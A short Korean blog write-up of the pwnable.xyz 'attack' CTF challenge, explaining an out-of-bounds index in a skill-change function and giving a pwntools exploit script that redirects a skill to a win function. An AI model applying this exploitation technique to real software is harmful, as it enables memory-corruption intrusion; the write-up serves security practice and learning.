pwn/pwnable.xyz
pwnable.xyz / attack
lok2h4rd
2022. 5. 21. 09:58
옛날에 쥬니어네이버에서 했던 록맨 게임 생각나서 재미있었다
게임이 끝날때 마다 RANK가 증가하는데 1번 이상할 경우 equit를 수정할 수 있고 3번 증가했을 때 스킬을 수정할 수 있
다
do_skill_change함수에서 스킬을 선택해서 힐과 공격 타입 중에서 선택하여 바꾸는 과정에서 OOB가 터진다
equip 수정할 때 win함수 넣고 스킬 타입 변경할때 OOB로 win함수가 들어가도록해서 해당 스킬을 사용 시 win함수가 호출되도록했다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30020)
#p = process("./attack")
win = 0x401372
def mod_name(data):
while True:
line = p.recv(1)
print("line: " + str(line))
if b"W" == line:
line = p.recv(1)
if line == b"h":
p.recvuntil(b"use : ")
p.sendline(b"1")
p.recvuntil(b"on : ")
p.sendline(b"1")
else:
print(p.recvline())
elif b"\n" == line:
continue
elif b"D" == line:
line = p.recvuntil(b"(y/n)? : ")
p.sendline(b"y")
if b"equip" in line:
p.recvuntil(b"equip: ")
p.sendline(p64(data))
elif b"skills" in line:
p.recvuntil(b"(3 to exit): ")
p.sendline(b"0")
p.recvuntil(b"(0: Heal, 1: Attack): ")
p.sendline(b"-113")
p.recvuntil(b"(3 to exit): ")
p.sendline(b"3")
return 0
else:
p.recvline()
mod_name(win)
p.recvuntil(b"use : ")
p.sendline(b"0")
p.recvuntil(b"on : ")
p.sendline(b"0")
p.interactive()